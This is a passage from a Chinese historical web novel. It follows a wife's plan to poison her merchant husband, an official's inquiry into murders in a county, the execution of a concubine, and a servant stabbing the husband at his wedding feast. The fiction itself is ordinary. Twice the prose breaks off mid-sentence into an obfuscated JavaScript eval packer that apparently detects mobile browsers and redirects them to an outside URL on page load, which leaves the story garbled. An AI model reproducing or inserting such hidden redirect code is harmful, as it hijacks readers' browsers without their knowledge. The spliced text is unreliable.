苏尔茗沉默着，不发一言，掌心薄薄的汗意泄露了她的紧张。她对沈万金的杀心，本不应该让第四个人知晓。 但文琴露出一个真挚的笑容，向她保证，“你帮我完成方才我说的心愿，我就告诉你那杯茶的秘密。” 苏尔茗平静地看着她，没有答应，也没有拒绝。 文琴继续自顾自地说，“江幸教我读书写字，见我有调香之能，寒冬腊月吃不饱、穿不暖，也会买书送我，只为让我有一技之长。” “入府这一个月，沈万金在我精心照料下早已身中奇毒，想要他死，不过是你一句话。” 良久，苏尔茗的声音干脆且利落。 “好，我且信你这一次。” 苏尔茗离开箐箐院落的时候，正好瞧见芸娘还在门口守着。她看了芸娘一眼，什么话也没说，独自推着轮椅离开了。 芸娘顶着烈日守了半个时辰，脸晒得发红、额头布满汗意。 她望着苏尔茗离开的背影，喃喃道：“夫人，芸娘……可能还要再背叛你一次。” 日头高挂，几缕光透过封着围栏的天窗，照在大牢某间牢房中的稻草席上。 干枯的草席上躺着个翘着二郎腿的男子，嘴里叼着一根草杆，对旁边温热的饭食看都不看。 高奉一个鹞子翻身从稻草上站起，抬脚踢翻了那碗菜饭，冲着牢门口嚷道：“老子要吃人的心肝，畜生才吃这种杂食！” 他的怒吼荡在空荡的牢房里，无人回应。 小县城的牢房没有几个要犯，这片区域里只有寥寥可数的几人，死气沉沉。 忽然，门口渐渐传来脚步声，火把的光将人影投在墙壁上，缓缓向高奉而来。 来人一身白青色长袍，正气凛然，正是陆远。 他身旁跟着一路小跑过来的县令张鸿志，他连连擦着额头上的汗，腰间的腰带还未系好。 张鸿志问：“陆大人，这高奉已经被恩自县缉拿，大人可是要将人带走？” 陆远不答，直直地走到高奉的牢房门口，看到了那踢翻的饭碗，目光再落到高奉身上，变得沉静而狠厉。 高奉见到他上下打量一番，挑了挑眉，吹了个口哨：“哟，这不是我们英雄救美的陆大人吗？还没死啊？” 陆远扭头示意牢头将门打开，抬脚迈进牢房，一把抓住了高奉的衣领，将他抵在木栏之间，冷斥：“平远县十二条人命，一共五人被你活生生虐杀，你不仅不知悔改，竟又添两条人命！” 若不是他及时发现，还差点将她害死！ 高奉咧嘴一笑，露出满口黄牙：“大人这就冤枉了我不是？恩自县那俩可不是我做的。” 他舔了舔干涸的上唇，想起来那晚闻到她颈间的香气，心头一动，“但，我知道是谁。” 若是有那疯女人陪他一起上路，倒也不错。 陆远登时就看向张鸿志，松开了高奉的衣领，拧眉质问：“张大人，那文氏夫妇二人的尸首，可有勘验？” 张鸿志支支吾吾，回身看向何师爷，手肘一戳，厉声道：“陆大人问你话呢！” 何师爷躬着身子，满头大汗，啜濡着：“大人，那场大火起得突然……那尸首被烧焦，家属伤心过度，赶忙着下葬了……” 他的声音越来越低：“文氏夫妇不小心导致屋内烛火自燃，就……就没有尸检。” 陆远沉着脸，一步步走向何师爷和张鸿志，语气极为严苛：“那自燃的证据在何处？为何你们迟迟拿不出文氏夫妻的卷宗？为何案情与谣传事实出入甚远，是有人刻意造谣扰乱民心，还是文氏夫妇死因尚未查明？” 他的质问声回荡在牢狱间，县衙的人被逼问得满脸通红，呐呐无言。 片刻后，牢内安静得能听到小窗外树叶簌簌的风声。 “陆大人，你问他不如来问我。”高奉摇摇晃晃地站起身，脸上洋溢着古怪的笑意，轻蔑地瞥了一眼张鸿志。 “文氏夫妻就是文家幸存的女儿亲自动的手，我记得她如今是沈家的一个姨娘，名为箐箐。” 陆远招招手，竹年立刻拿着炭笔和草纸刷刷记录。 他缓缓下了结论，不容置疑：“张大人，后日我要将高奉押送入京，由大理寺出面审理此案。恩自县文氏夫妇的案子尚无并案证据，还望张大人能在一日之内查明真相，将真凶缉拿归案。” 张鸿志的脸色瞬间煞白。 “大人，这……这高奉乃是在我恩自县的地界抓到，按理来说，朝廷应该有所嘉奖。”张鸿志急得满头是汗，顾不上礼数，“大人，您亲自押送回京，这是要我的命啊！” “哦？”陆远的声音无悲无喜，深潭似得目光隐在暗处，“那请问张大人，高奉是如何出现在这牢狱中的？是他自己走进来的吗？” 张鸿志脑子里拼命回忆着那日报官之人的模样，却惊觉自己那日并未出面，而是在后院和新收的小妾一起对弈。 更何况，这两日陆远并不在县衙，怎会知晓此事！ 于是他壮着胆子，答：“当然是我派了县衙的官兵，亲自将他捉回！” 竹年忍不住开口讥讽：“胡扯！” 陆远衣袖一甩，示意竹年闭嘴。他认真地盯着张鸿志的眼睛，淡声道：“张大人，倒是惯会说笑。” 不待张鸿志哆嗦着唇角再说些什么，他大步走出了牢房，冷冷吩咐：“竹年，下午拿到高奉的证词，再将人看好。” “陆大人！”张鸿志伸手一抓，白青色的衣摆从他指尖滑落，他赶忙追上去，“……您应该也累了，我带您去沐春楼用午膳……可好？” 张县令的声音渐渐远去，牢房门口只剩下何师爷和蒋英面面相觑。 何师爷说：“一日之内查清文氏夫妇的案子，这……这怎么可能？尸身都已下葬。” 高奉抓着木栏，将脸挤在中间，眼睛里闪着光：“我都说了，就是沈家的姨娘，你们将她抓来就结案了。” 何师爷和蒋英对视了一眼，蒋英忽然正了神色，一脚踢在锁死的牢门上，：“要你多嘴？！老实待着，等死吧你！” 高奉格外好脾气的笑着，直到那二人彻底消失在大牢，他唇角的笑意顷刻不见，只剩眼底的疯狂。 …… 沐春楼的雅间，侍女素手添香，舞姬在堂内扭动身姿反弹琵琶，翩若惊鸿，得一旁落座的张鸿志拍手叫好。 陆远视线冷冷地看向张鸿志，见他安静后，继续低头用膳。 “张大人，我家主子食不言寝不语，还望大人理解。” 竹年温和的解释，却逼得张鸿志不得不将舞姬赶出去，继续陪着笑。 张鸿志单手扶住袖子，拿起酒壶亲自斟酒，正举起杯想要与陆远碰杯，却被冷脸无视。 张鸿志悻悻一笑，只好将酒杯对准竹年，“竹大人，来，我敬您。” 竹年将杯中酒向后一泼，在张鸿志震惊的表情下斟满茶水，轻轻一碰，“张县令，公事不饮酒。还望县令明日之前，能将恩自县文氏夫妇的卷宗备好。” “那是自然。”张鸿志将额头上的汗一抹，一饮而尽。 一杯酒下肚，张县令反而像换了一个人，向陆远吹嘘自己多年在恩自县的功绩，治下安宁、百姓爱戴。 即便陆远冷眼看着，半句也不曾回答，他仍旧喋喋不休。 半晌，陆远板着脸放下了筷子，看着大半桌的剩菜，彻底冷了脸。 还不待他斥责，张鸿志立刻问：“陆大人近日可是住在驿馆？恩自县条件不比京城，大人要不要考虑……在沈家住上一晚？” 沈家……恩自县首富沈家。 陆远拿起茶杯的手微微顿住，他垂眼看到杯中的涟漪，声音淡淡：“不必了。” 他将茶水递到唇边，缓缓喝了一口，涩口之余带着极强的回甘。这种堪比贡品的新茶，不可能是县城的酒楼所有，或许正是沈家授意。 他目光落在张鸿志的官服上，神色晦暗。 他站起身行至窗边，开窗吹散满屋的靡靡熏香气味，忽然一低头，看到人群中一个熟悉的身影，坐在轮椅上，往药房方向而去。 他登时返身行至桌旁，从衣袖里掏出一锭银子，放在那饭桌上，淡声道：“八宝鸭不愧为恩自县一绝，今日多谢大人指路。” 张鸿志立刻眼神清醒了几分，无措的怔愣着。 设宴讨好却被陆远迎头一棒，正不知该如何接话，却见陆远匆匆离去，留下最后一句：“张大人，我还有要事，告辞。” “哎——陆大人！” 白青色人影很快消失在门后，张鸿志原本晃晃悠悠站起的身子颓然坐下，气得摔了酒壶，“好你个姓陆的，敬酒不吃吃罚酒，竟敢抢老子到嘴边的功绩！” 摔杯的动静，自然逃不过习武之人的耳朵。 竹年望着楼上的雅间方向，抱着剑站在店门口同同陆远打趣：“主子，我瞧着恩自县水很深啊，宁愿撒谎也要保他自己的功绩。天子脚下，他都敢明着贿赂。这要是在京城……” 陆远神情严肃地理了理衣袖，毫不在意，眼里只有远处消失在药房内的身影。 半晌，做了决断，“待高奉的事情结束，再回来抓他的尾巴。” 竹年点点头，忽然想起什么似得大惊失色：“那……老夫人安排的相看小宴，岂不是又要泡汤？！” “主子，这都已经第三次了，老夫人说你要是再不去，就直接抓阄，挑中哪个就去下聘！” 陆远抬步迈出沐春楼，直奔那药房门口被沈家仆从护着的女子。 末了，只丢给竹年一句，“那是她娶回来的孙媳，与我何干？我志在平世间不公，而非延续陆家香火。” 竹年张了张嘴，无法辩驳。 他只得垂头丧气地往县衙大牢而去，暗自磨牙：“主子，你不想成亲，可我想啊！” 人群的另一边，苏尔茗刚刚按照文琴所说的配方，将药品采买齐全。 为了避人耳目，她提前让林蕙为她开过药方，将那几味药藏在了跌打损伤的药材之中。 大丫鬟夏南帮她付了银钱，接过掌柜递过来的一串串纸包的药材。 苏尔茗将纸包放在腿上，用衣袖压住，由丫鬟推着轮椅离开药房。 刚一出门，便见到了消失了两日的竹奕。 一袭白青色衣衫，高大落拓，自有正气风骨。 她立刻想到了那块玉佩，剔透，无一丝杂质。 昨日，芸娘从她旧衣里翻出来的陆远的玉佩。 不知为何，她下意识撒了谎，说是捡到的，过几日命人归还。 “你……”二人同时开口。 “夫人不是说要雇我？”他俯视着她，眉目隐在檐下的阴影里，看不清情绪。 苏尔茗仰着头，看到他的眼神，反驳的话忽然就说不出口。 药房门口人来人往，她只得叫丫鬟推着轮椅，到一旁叙话。 大丫鬟和家丁跟在不远处守着，竹奕就站在她面前。 她还未开口，脖子却仰得有些酸，抬手在肩上轻轻捏了两下。 陆远眼神一动，立刻蹲下身子，与她几乎平齐，温和地看着她：“夫人只给了报酬，却没说雇佣条件，我实在良心有愧，故而来追问。” 他的呼吸似乎轻轻的落在她的面颊，苏尔茗的手忽然捏紧了膝间的纸包，发出突兀地响声。 她抿抿唇，错开他的眼神，将身子靠在椅背上，贴的死紧。 低声道：“你救了我，那些就是你的报酬。” 陆远身子一顿，轻笑了声。 “不愧是沈家夫人，出手阔绰，救你一命便可换金银无数，五千两银票。”他自嘲地笑笑，像是有些失望地站起身，“那……夫人既然想与我两清，我自当保守秘密。” 苏尔茗从未见过陆远这样的神情，她有些困惑地皱眉。 她分明让丫鬟好生感谢一番，并未如此不近人情。况且，银票的数额也同她吩咐的不同。 她扭头想要为自己辩白，却只看到他幽深的眼神凝视着她，似乎很想要一个解释。 她动了动唇，忽然意识到这可能是沈万金的授意，终是没说出口。 而后，听到他淡声问：“那……沈夫人，可以把玉佩还给在下吗？” 她眼睫微颤，目光落在墙缝角落里的一棵枯死的野草上，声音平静：“好。大概三日后，你来府上取。” “嗯。”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436811|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远应声。 他利落地转身，混入人群中渐渐消失不见。 * 翌日清早，沈家正门，一顶低调的四抬小轿停在门前。 不待何师爷掀开轿帘，轿内的张鸿志急切地冲出来，踏上沈家的门。 门房小厮一见那官服，连忙起身迎接：“张大人，是什么风把您吹来了！” “老爷先前留了话，若是大人来访，直接请入书房！” 张鸿志生怒的脸色微霁，熟门熟路地大步而入，开门见山：“我今日不去书房，沈万金他不是病了吗，我亲自去瞧瞧！” 小厮一听这话，眼珠一转：“哎，大人您请，小的给您引路！” 一旁的丫鬟得了眼色，连忙去通报。 后院池塘东侧的清净院落，正是沈万金养病的地方。 芸娘得了消息，匆匆前来，直奔正屋卧房。 她敲了敲门，里面传来一声有气无力的询问：“何事？” 芸娘回身一看，隐约瞧见那张鸿志带着人已经过了桥，语气急切：“张大人带着何师爷登门，说是来探病，但面色很差，像是有急事。” 门内静了片刻，才传来沈万金的答复：“知道了，芸娘，奉茶吧。” 不一会，丫鬟们引路的声音在院门口响起。 张鸿志走到院子门口，额头上已经生了汗，肥胖的身躯喘着粗气，在秋日里凉爽的天气十分突兀。 他阴沉着脸一抬头，看到屋里一身淡色衣衫看起来病恹恹的沈万金。 沈万金并未起身，他抬眼看到张鸿志和何师爷，淡声招呼：“张大人、何师爷，我今日身子不爽，烦请见谅。” 不待二人客套，他吩咐芸娘：“芸娘，拿出来今年最好的新茶，给两位大人奉茶。” 张鸿志嘴角一抽，同何师爷对视一眼，不得不耐着性子坐下。 张鸿志干脆道：“沈老弟，这茶我就不喝了。” 沈万金拿起茶碗的手一顿，神情凝重地看向张鸿志，双唇紧抿：“大人有话请讲。” 他挥了挥手，让芸娘出去候着，手中的茶一口没喝，被利落放下，正襟危坐。 张鸿志开门见山：“你府上那个叫箐箐的姨娘，交出来。” 沈万金面色瞬间阴沉，皮肉不笑：“为何？还请大人给个说法。” 张鸿志想要掏出卷宗的手一顿，反而未将卷宗拿出，一脸诡秘地看着沈万金：“我让你交，你还想包庇不成？” 屋内气氛瞬间凝固，何师爷看着二人针锋相对，大气都不敢出。 他擦了擦额头上的汗，硬着头皮道：“想必沈老爷这几日病着，还不知那文氏夫妻的惨案，乃是这箐箐姨娘文琴亲手所为。她的同伙高奉，已经将她的所作所为都交代了，签字画押绝无作假。” “这箐箐，你是交还是不交？”张鸿志冷声质问。 半晌，无人回话。 沈万金久久地怔愣着，像是一座雕塑一般一动不动，他自听完何师爷那段话，便面如金纸，冷汗频频。 他回想起那日箐箐歇斯底里的咒骂，将刀刃拼了命地刺入他的胸膛。 原来竟是真的恨文家，恨他入骨。 那穷书生当真就那么好？他如此的偏爱都没让她心软半分！ 沈万金缓缓抚上心头未愈的伤口，脸色古怪地笑了几声，忽而猛地喷出一口血，几近晕厥。 一旁的张鸿志和何师爷忙不迭从椅子上站起，看着地上黑红的血渍，脸色发白，慌乱的大声喊人：“来人！快！” 芸娘带着几名丫鬟破门而入，堂内登时乱作一团。 何师爷得了张鸿志的眼神，试探着上前查看沈万金的情况，却被一把他紧紧地抓住衣袖。 沈万金低声重复：“箐箐……不能。我出十万两，换……换一个……容貌近似的人，救……箐箐的命。” 何师爷心头一震继而露出精明的眼神，但被沈万金死死拉着走不开，只能与张鸿志挤眉弄眼。 张鸿志紧盯着沈万金并不清明的眼神，却将何师爷的衣袖用力攥到骨节发白，轻蔑地一笑。 他走过去，拍了拍沈万金的肩，对他耳语：“二十万，行，你就点点头。” 沈万金极力挣扎着，几不可见地点了点头，而后彻底晕了过去。 张鸿志神色满意地让开，任由丫鬟和府医手忙脚乱抬将沈万金抬走，闲闲地理着衣袖：“沈老弟，你好好养病，我过几日再来瞧你。” 他掌心正中，塞着一枚碧绿通透的扳指，正是沈万金昏厥前塞到他手上。 海棠雕花，正是沈家的信物。 他将那扳指套在手上，大摇大摆地出了门。 床边，芸娘看到沈万金拇指空空如也，神情复杂。 …… 傍晚，夕阳落在后院湖泊洒下金光，映得院子里十分亮堂。 苏尔茗从城西的“巷里香”回来，自角门直接进了后院，被丫鬟推回正院卧房，挣扎着坐上了窗边罗汉床，一脸疲色。 她拿出盒子里妥帖存放的玉佩，轻轻擦点灰尘，抬头对丫鬟说：“把针线筐给我，我要打个络子。” 大丫鬟夏南不多话，只照做。新买的丝线和小剪刀一应俱全，被放在苏尔茗面前的案几上。 夏南又拿来凭几，方便她累的时候可以倚靠。 苏尔茗认真地拿出丝线和玉佩的颜色进行比对，刚觉得有些口渴，手边忽然被放了一杯热茶。 她笑了笑：“多谢，你也累了，先下去吧。晚膳时候再喊我。” “是，夫人。”夏南将油灯放在案几边上，随即轻手轻脚地走开。 屋门合拢，立刻变得安静下来。 苏尔茗许久不曾打过络子，手有些生疏，刚开始总是编了拆，拆了编，渐渐有些急躁。 过了许久，她才长叹一口气，慢慢松开紧拧的眉头，丝毫没有发现窗外的夜色早已月上梢头，却无一人喊她用膳。 直到她手里的蝙蝠络子初见雏形，终于满意地笑笑，对着油灯看了又看。 这才发现外面早已一片漆黑，却异常安静。 “芸娘？夏南？”苏尔茗轻声唤道。 她在窗边望着，院内的小路上没有任何动静。 她心中忽然回忆起那日被高奉劫持时的恐惧与寂静，慌乱地看向屋里，眼前却只有一盏油灯照亮方寸，她渐渐瑟缩在罗汉床的一角。 她抱膝将脸埋在臂膀间，眼神惊慌得似林中的鸟雀，耳边慢慢响起不规律的蜂鸣声。 出乎意料，她忆起今日陆远的话。 “夫人不是说要雇我？” 陆远一袭白青色衣衫，自有正气风骨，却偏偏总是对她一再试探，甚至满口谎话。 打手？ 京城中能有这样一脸正气、腹有诗书的打手吗？ 可他却一再不顾自己的安危来救她，在山洞、在他的背上酣睡，几乎是她这三年里难得的好眠。 苏尔茗抿抿唇，竟生出些悔意。 若是她想要再雇他，该去哪里找？ “夫人？您找我吗？”芸娘破门而入，打断了她的思绪。 苏尔茗迅速镇定下来，脸颊不知为何有些微微发烫，她清清嗓子，问道：“现在几时了？怎么方才无人，可是出了什么事？” 芸娘意外地抬头看了她一眼，语气极为不自然：“无事，只是晨间张大人过来探望老爷，老爷待客后可能有些疲累，方才才醒，并无胃口。晚膳可能要夫人自己用膳了。” 苏尔茗狐疑地看了芸娘一眼，没再多问：“那就在这里布膳吧。” 膳食很快被送了过来，她不紧不慢地吃，慢慢观察着芸娘的神情。 直到她沐浴后熄灯入睡，芸娘都未同她说过什么。 苏尔茗满腹疑惑，但想着被她藏在衣柜的草药包，以及给沈万金下毒的计划，她闭上眼心事沉沉地入睡了。 明日。 就是沈万金宴请宾客、迎苏晴入门的日子。 21. 第 21 章 阴湿墙壁上挂满了火把，将地牢里照得通明。 何师爷一本正经地拿着一份签字画押的认罪书，从高奉的牢门前走过。 高奉一把抓住了何师爷的衣袖，带着几分不自觉地期盼，呲牙问道：“那箐箐可是被抓来此？就在西北边那间，是不是？” 何师爷上了年岁，力气拼不过高奉，扯不回衣袖。 没好气地道：“是又如何？两案无并案证据，天一亮你便回京受审，她也要人头落地！” 一旁京中大理寺的官差立刻过来，二话不说一脚踢在木栏杆上。高奉毫不在意地诡异一笑，松开了手，死死的盯着那西北边的牢房。 何师爷和身后的蒋英对视一眼，对京中大理寺的人生出些惧意，没多纠缠就匆匆离开了。 待人走后，高奉不顾官差恶狠狠地警告，依旧大声叫嚷，声音带笑：“疯娘们，你可还记得老子？不记得也没关系，我看上你了，我记得就行。” “你先上路，老子之后就来陪你，有什么怪罪的话，留着以后说吧。” 西北边的牢房，寂然无声。 唯有夜里的寒风瑟瑟，穿过潮湿而腐臭的石阶缝隙，发出哭嚎。 地牢外，何师爷捧着那认罪书和卷宗，一路送到衙门堂前坐着的陆远手里。 “陆大人，罪人文琴已认罪伏法，念在女犯，已赐毒酒。” 竹年立刻质问：“陆大人让你们一日之内递交卷宗，不是让你们一日之内处死犯人然后草草结案！” 陆远抬手止住竹年的质问，目光沉静地接过卷宗，细细翻看。 人证、物证、供词，样样齐全，甚至作案动机和手法都写得天衣无缝。 陆远将卷宗放回桌上，紧盯着何师爷满头大汗的脸，毫无笑意。 半晌，他移开视线，轻声道：“既如此，辛苦张大人和何师爷。明日天一亮，我便启程归京。” 寅时刚过，一队人马悄然出城，直奔上京。 一个时辰后，沈家后院忽然响起铜盆落地的声音，惊了邻里的狗，狂吠不止。 院子里一个丫鬟慌张地往外跑，“不好了！姨娘她上吊了！” 刚出院门，撞上了一个人，丫鬟抬头一看，竟是芸娘。 “芸管事，姨娘她……姨娘她！她死了！” 此时天边刚亮，整个院子里还拢在晨间的薄雾里。 芸娘的眉目有点看不清，丫鬟只听到她十分镇定的吩咐：“先找人将她救下，放在屋内，晚些时候夫人自会处置。今日是老爷宴客的日子，此等小事，先不要声张。” 丫鬟慌张地点了点头，见芸娘转身就走，忽然心头一阵无措，下意识扯住芸娘的衣袖。 “怎么？是害怕了？”芸娘问。 丫鬟怔怔地看着自己的手，摇了摇头，又忽然猛点头：“芸管事，我……我也不知怎的。” 芸娘忽然摸了摸丫鬟的双髻，语气十分温柔：“你是新来的，才十三岁，未曾见过此事，害怕乃人之常情。但，箐箐她生前不曾苛待你们，死后亦不会害你，莫要怕她。” 芸娘的声音忽然变得悠远，似是忆起来什么，“她在那处，或许是等了你很久，等你救她下来。” “姨娘她，之前还亲手给我簪花，她不会害我。”小丫鬟懵懂地点点头，脸色一点点转好，擦了眼泪告谢，反身去叫人帮忙，匆匆离去。 芸娘望着箐箐的院子，动了动唇，终是什么也没有说，身影渐渐消失在晨雾里。 箐箐的死讯，像是随着日头升起晨雾散尽，而渐渐消散了。 直到日头掠过正院繁茂的枝叶，照进丝绢蒙着的窗棂里，屋内大亮。 床头纱帐蒙着的狭小空间，皱着眉与噩梦挣扎的苏尔茗，终于被这点光亮点醒。 她猛地坐起身，头晕目眩，只得一手撑住头，掀开帐帘，被刺目的光线照得眯起眼睛。 “芸娘？夏南？几时了？” “夫人！”夏南端着铜盆，手里拿着布巾，和端着膳食的小丫鬟一起鱼贯而入。 苏尔茗十分惊讶，还未等话问出口，便听夏南解释：“不知怎得，今日正院的诸位都睡得昏了头，方才老爷的院子里也是一阵兵荒马乱，听芸管事说，还好接亲的轿子天不亮就按时出发了。” “老爷可有说什么？”苏尔茗问。 “未曾听说，只说是让您先用了早膳，尽快梳洗。再过一个时辰，宾客就要入府了。” 她抬手接过夏南递来的温热帕子拭了面，缓缓垂下了眼，暗自叹息：“险些误了中午的宴，他竟然如此宽宏大量。” 夏南没作声，只默默扶她起身梳妆，伺候用膳。 苏尔茗见夏南还要再往她身上穿戴繁复的首饰，抬手阻止：“今日的重头戏不是我，莫要喧宾夺主。” “是。”夏南将首饰收好，放回妆奁。 苏尔茗起身望向窗外，透过院门可见后院仆从来来往往，十分忙碌，唯独不见芸娘的身影。 她缓步走到门前，状似无意地问了句：“夏南，你可见着芸娘了？” 夏南竟停下来，仔细地思考了一番，才答：“今日未曾见过，听说芸管事今日事忙，许是不在此处吧。” 苏尔茗点点头，坐到鼓凳上端起入口温度适宜的粥米，斯文地用膳。 她的眼神落在不远处那最后一封未送出的请帖，原本是给张鸿志张大人的，最后一日竟也未送出。 “将那个拿去烧了吧。”苏尔茗用眼神示意。 夏南得了命令，拿着请帖和火盆去了院子里。 苏尔茗三口两口将那碗粥喝完，起身走到衣柜前，想要翻出她前日买的草药包，却一无所获。 衣柜里面，除了衣衫，什么都没有。 苏尔茗心头一瞬间升起怒意，能自由出入她的屋子，并且刚刚背叛过她的人，只想到了一个。 芸娘。 “夫人，老爷说您快点去前院，芸管事忙得见不着人影，沐云楼的厨子已经就位，宾客马上就登门了！” 苏尔茗深吸一口气，强行让自己冷静下来。 原本她昨日去巷里香与赵春花商议，让她今日混在沐春楼的厨子里。 等她命人去厨房煎药的时候，春花将那草药里分好的药包偷偷取出，放在宴请宾客的茶水里，只等沈万金当着宾客的面喝下那茶水，便大功告成。 眼下，药包不见了。 苏尔茗急冲冲得迈过门槛，大步出了正院。 沈家的膳房里如今热火朝天，来自沐云楼的大厨们将原来膳房的人通通挤了出来。 一群人围在门口想要往里偷看，却被几个小学徒围住，隔在外面。 其中一个个子不高，左边眉头有一颗小痣，戴了块粗麻色的布巾围在头上，脸上还挂着锅炉上的黑灰，让人一时间分不清男女。 “哎！这里不能进！”赵春花瓮声瓮气地拦着，寸步不让，“你们沈家再有钱，也不能请了我们大师傅掌勺，还想着偷学？给多少钱都不行！” 旁边的几个小学徒被她逗笑，不知道还以为她来了多长时日，这么向着沐春楼。 分明是昨日在沐春楼吃了一桌子名菜，又给不起银子，硬是要在后厨打工，才有今日带她过来的“赎罪”。 摘菜、削土豆皮等等他们平日里最不爱干的活，通通交给了她。 赵春花假模假样地忙着，只等苏尔茗派人熬药，将那药包送进厨房。 不远处，一行人疾步而来，为首的正是苏尔茗和她的丫鬟。 她今日一身水红色衣裙，头戴红宝石头面，看起来富贵逼人，但眼神里依旧神色淡淡，沉静而睿智。 她走近开口：“今日膳房休息一日，还请各位离开此处，莫要影响老爷今日宴客。” 夏南拿着两个锦袋，给每人发了些碎银子，围观的人这才渐渐散去。 眼前只剩下了沐云楼的人手，苏尔茗站在一旁吩咐：“还请各位今日多多用心，沈家将重重有赏。” 夏南从怀里拿出一把金叶子，分给沐云楼的众人。 赵春花结接过银子的时候，悄悄地瞥了一眼苏尔茗，看到她微不可见地摇了摇头。 她心下了然。 她一把搂住旁边学徒的肩，拿起手中的金叶子同他打哈哈：“你看我真是好运气，今儿收了工，咱们几个就用这个吃酒去！” 余光里，苏尔茗步履匆匆地离开了。 前院的道贺声，还没到垂花门就能听得到。 一声声恭喜，在苏尔茗耳朵里听来尽是讽刺。 所幸她提前给父亲写信，今日那花轿里不可能有新娘。 但，想靠茶水堵死沈万金的计划已然失败，沈万金若是知晓那轿中空无一人。 今日宾客面前令他丢人现眼，或许她活不过今晚，必定要拼死一搏。 她躲在垂花门后，看着沈万金惨白着一张脸，穿了一件大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喜轿落，溅起地上些许尘埃。 苏尔茗的心渐渐沉到谷底，她缓缓后退，却不小心撞在了一名侍女身上，洒了她满身酒液。 “夫人，抱歉，奴婢不是故意的！”小丫鬟的道歉声竟引得沈万金看了过来。 沈万金面上毫无血色，眼神淡淡，声音疲惫：“茗儿，你去换身衣服。这里……先不用你伺候了，叫她过来吧。” 她。 自然是文琴。 苏尔茗浅浅福身，应声：“是，老爷。” 她刚刚走开几步，余光里看到宾客齐刷刷看向喜轿的期待眼神，连忙走得更快，生怕被沈万金叫住。 喜轿帘子被一双纤纤玉手缓缓掀开，登时得了满堂惊呼。 “好！” “好一双莹洁如玉的手，小爷我身子都酥了半边！” 苏尔茗脚步一顿，不敢置信地回头望去。 只见那人缓缓下轿，一身大红喜服、锦缎盖头，莲步轻移、香风阵阵。 一个小丫鬟忽然冲了出来，拦在那新娘前一步进了宴席。 “老爷，箐箐姨娘她昨夜上吊，今早香消玉殒了！” 席间瞬间寂静无声，所有人都看向坐首的沈万金。 沈万金面如金纸，艰难地捂着心口，似是不敢置信：“你说什么？” “这是姨娘写给老爷的信！”小丫鬟从没见过这么多人，愣愣地将信拿出来，却忘了上前递给沈万金。 沈万金艰难地从席间起身，脚步沉重，身子有些摇晃。 他双手颤抖地接过那封信，在看清的瞬间，一口血喷在那信纸上。 沈万金哑声大喊：“箐箐！你当真就如此恨我！” 停在那不动的新娘，忽然有了动静。 她一把掀了盖头，手里寒光匕首乍现，绕过那拦在身前的小丫鬟。 在沈万金心神大震时，挟着呼啸的风声，用尽全力将那匕首没入他的胸膛。 “噗嗤——” 刀锋入肉，被持刀者扭动刀柄，响起令人牙酸的奇异动静。 随后，匕首被猛地拔出，血溅到新娘的脸上，妖艳莫名。 “沈万金，你可想过今日！” 22. 第 22 章 宴席上的众人被这刹那间的变故惊得目瞪口呆，原先醉意熏熏的几个浪荡子，吓得连滚带爬地直奔前院大门。 院中那些布置的喜庆红色绸缎，此刻像极了溅在砖瓦上的血。 “杀人了！沈家出人命了！” “血……都是血！” 宴席上的人转眼便跑了个精光，只余苟延残喘的沈万金和一脸狠心绝情的新嫁娘。 沈万金眼瞳涣散，说出口的话再难成句：“芸……芸娘，你……” 他却将那血书的信纸攥得死紧，如同倾倒的木偶一般砰然落地，血迹将信纸·的字迹晕湿。 “你当初害死我妹妹的时候，可想过这一日？”芸娘甩了甩手中匕首的血渍，一刀刀反复扎在沈万金的身躯上。 血飙入眼中她也毫不在意，随手抹掉，直到沈万金再无声息。 “我等不到你遭天道报应的那日，只好由我来做这个恶人！” 芸娘一身红衣，早已辨别不出来是原本的颜色或是血渍。 她怔怔地看着地上的尸首，半晌，发出一阵低沉压抑的笑声，渐渐变成肆意张扬的大笑。 “这一天，我等了太久。” 红衣在风中猎猎，秋风卷着门前鞭炮的硝烟味道，一直吹到此处。 枯黄的树叶在低吟的簌簌声中掉落，打着旋飘进湖中，浮浮沉沉。 苏尔茗站在不远处，宛如一座雕塑。 她眼前的芸娘，不再是那麻木的低眉顺眼模样，反而渐渐和她心头的几个身影重叠。 为了家人、为了自己，在律法不能及的角落里苟且偷生，直到奋起反击的那一刀。 她不知道自己是如何走过去的，再回神，已经轻轻抬手擦过芸娘脸上的泪，“芸娘……她们若是泉下有知，定会在梦里都笑出声来。” 苏尔茗思考许久，终是没能将责怪的话说出。或许用一杯毒茶，根本难以消解芸娘的心头恨，妹妹的死也让她再无苟活之意。 垂花门那处忽然有了动静，似是刀鞘与衣甲的摩擦声，一道道闪过身影似府衙官差的模样。 芸娘擦了擦手上的血，将苏尔茗往身前一拉，极快地交代：“夫人，我和文琴的后事，就拜托给你了。沈万金书房账册的钥匙，埋在文琴院子里的海棠树下。” “沈万金为保文琴的命，用沈家信物的扳指作为抵押，若是夫人想要接手沈家，必须将此物要回。” 她咬咬牙将苏尔茗一推，语气决绝：“今日事皆是我一人所为！我曾背叛夫人两次，今日你我便两不相欠了！快走！” 苏尔茗被她狠狠推了个趔趄，不待她再说什么，张鸿志的声音已然靠近，“大胆贼人，竟敢在我治下行伤人之事！” 她望着芸娘的背影，看到她将匕首高高抬起对准自己，她下意识转身不忍再看，步履匆匆消失在树丛后。 “住手！” “大人！嫌犯畏罪自尽！” 她身后传来喝止的声音，终是让她再也忍不住眼角的泪，迅速在衣襟上晕开。脸上万般狼狈，她脚下却一步都不敢停。 再抬眼，苏尔茗神色坚毅，只余眼角的微红，直奔正院。 她进院便吩咐夏南。 